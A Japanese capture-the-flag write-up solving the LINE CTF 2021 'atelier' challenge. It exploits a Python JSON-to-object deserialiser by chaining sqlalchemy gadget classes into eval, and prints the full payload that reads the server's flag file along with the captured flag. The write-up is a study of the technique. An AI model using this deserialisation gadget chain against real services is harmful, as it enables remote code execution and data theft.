LINE CTF 2021 atelier writeup

LINE CTF 2021にチームTSGとして参加し、PWN atelier (310pts)を解きました。チーム全体では2416ptsで7位でした。

# overview
Hi and welcome to my Atelier!
attachment: client.py

`rpc_client`なる関数を通して問題サーバーとの通信を行うpythonプログラムが与えられる。
通信方法はオブジェクトをJSONに変換し文字列として送信、そしてそれをパースして元に戻している。
クラスインスタンスの場合は生のJSONでは扱えないので自前の関数でencode/decodeしている。

```client.py
def object_to_dict(c):
    res = {}
    res["__class__"] = str(c.__class__.__name__)
    res["__module__"] = str(c.__module__)
    res.update(c.__dict__)
    return res

def dict_to_object(d):
    if "__class__" in d:
        class_name = d.pop("__class__")
        module_name = d.pop("__module__")
        module = importlib.import_module(module_name)
        class_ = getattr(module, class_name)

        inst = class_.__new__(class_)
        inst.__dict__.update(d)
    else:
        inst = d

    return inst

async def rpc_client(message):
    message = json.dumps(message, default=object_to_dict)

    reader, writer = await asyncio.open_connection(sys.argv[1], int(sys.argv[2]))
    writer.write(message.encode())
    data = await reader.read(2000)
    writer.close()

    res = json.loads(data, object_hook=dict_to_object)
    if isinstance(res, AtelierException):
        print("Exception: " + res.message)
        exit(1)

    return res
```

# solution
Javascriptにおけるプロトタイプ汚染のようなことが可能になっている。`RecipeCreateRequest`をサーバーが受け取ると、そのインスタンスの`materials: str`にアクセスし`split(",")`が呼ばれているようなので、その部分を上書きしてしまう。

```attack1.py
def object_to_dict(c):
    res = {}
    res["__class__"] = str(c.__class__.__name__)
    res["__module__"] = str(c.__module__)
    res.update(c.__dict__)

    if c.__class__.__name__ == 'RecipeCreateRequest':
        res["materials"] = {"__class__": "PickleType", "__module__": "sqlalchemy", "split": "hoge"}
    return res

# Exception: TypeError("'str' object is not callable")
```

適当なインスタンスに替えるとこんな感じになる。この場合はsplit関数が文字列"hoge"に置き換わっているので`'str' object is not callable`と怒られている。この問題で面倒なのは

* sqlalchemyのclassしか埋め込めない
* 必ずコンストラクタ`__new__`が走る(引数は気にしなくても良いっぽい？)

点であり、そこまで自由に関数をsplitに上書きすることは出来ない。ここで必要なのは`__call__(self, arg1)`が存在するsqlalchemyのclassである。（`","`が与えられるので引数が一つ必要）この条件で都合が良さそうなものを[GitHub](https://github.com/sqlalchemy/sqlalchemy)で探してみると、引数の数は異なるが`__call__`中に`eval`が入っているclassが見つかる。

```sqlalchemy/orm/clsregistry.py
class _class_resolver(object):
...
    def __call__(self):
        try:
            x = eval(self.arg, globals(), self._dict)

            if isinstance(x, _GetColumns):
                return x.cls
            else:
                return x
        except NameError as n:
            self._raise_for_name(n.args[0], n)
```

とりあえずこれを埋め込んでみようとすると「clsregistryなんてモジュールは無い」と怒られてしまった。もしかしてこのevalを使わせないようにブロックしているのでは...と思っていたらmoratorium君が古いバージョンでは`sqlalchemy.ext.declarative.clsregistry`になっていることを見つけてくれた。LINEさんバージョンくらいは明記してくれ～

とにかくこのclassが使えそうだと分かったので、次はこの``__call__``を引数なしでよべるように調節する。しばらく探していると

```sqlalchemy/testing/exclusions.py
class BooleanPredicate(Predicate):
    def __init__(self, value, description=None):
        self.value = value
        self.description = description or "boolean %s" % value

    def __call__(self, config):
        return self.value

    def _as_string(self, config, negate=False):
        return self._format_description(config, negate=negate)
```

といういかにも使い勝手のよさそうなclassが見つかった。サーバーは`split(",")`の結果この`self.value`を受け取り、`self.value[0], self.value[1]`にアクセスすることになる。今度は`__getitem__`の中で`self.func()`のように無引数でインスタンス変数を関数として呼んでいるclassを探すと、次のようなものが見つかる。

```sqlalchemy/sql/naming.py
class ConventionDict(object):
...
    def __getitem__(self, key):
        if key in self.convention:
            return self.convention[key](self.const, self.table)
        elif hasattr(self, "_key_%s" % key):
            return getattr(self, "_key_%s" % key)()
...
```

これで必要なものがそろったのであとは適切にメンバを設定したオブジェクトを作成する。

```
def object_to_dict(c):
    res = {}
    res["__class__"] = str(c.__class__.__name__)
    res["__module__"] = str(c.__module__)
    res.update(c.__dict__)

    if c.__class__.__name__ == 'RecipeCreateRequest':
        # RandomSetの部分は有効なclassであればなんでも良い
        res["materials"] = {
            "__class__": "RandomSet",
            "__module__": "sqlalchemy.testing.util",
            "split": {
                "__class__": "BooleanPredicate",
                "__module__": "sqlalchemy.testing.exclusions",
                "value": {
                    "__class__": "ConventionDict",
                    "__module__": "sqlalchemy.sql.naming", "convention": [],
                    "_key_0": {
                        "__class__": "_class_resolver",
                        "__module__": "sqlalchemy.ext.declarative.clsregistry",
                        "arg": "exec(\"raise Exception(open('flag').read())\")",
                        "_dict": {} }}}}
    return res
```
ちなみに`eval`の内容は当初`exec(\"raise Exception(__import__('os').iterdir())\")`でflagの場所を探していた。

`Exception: Exception('LINECTF{4t3l13r_Pyza_th3_4lch3m1st_0f_PyWN}\n')`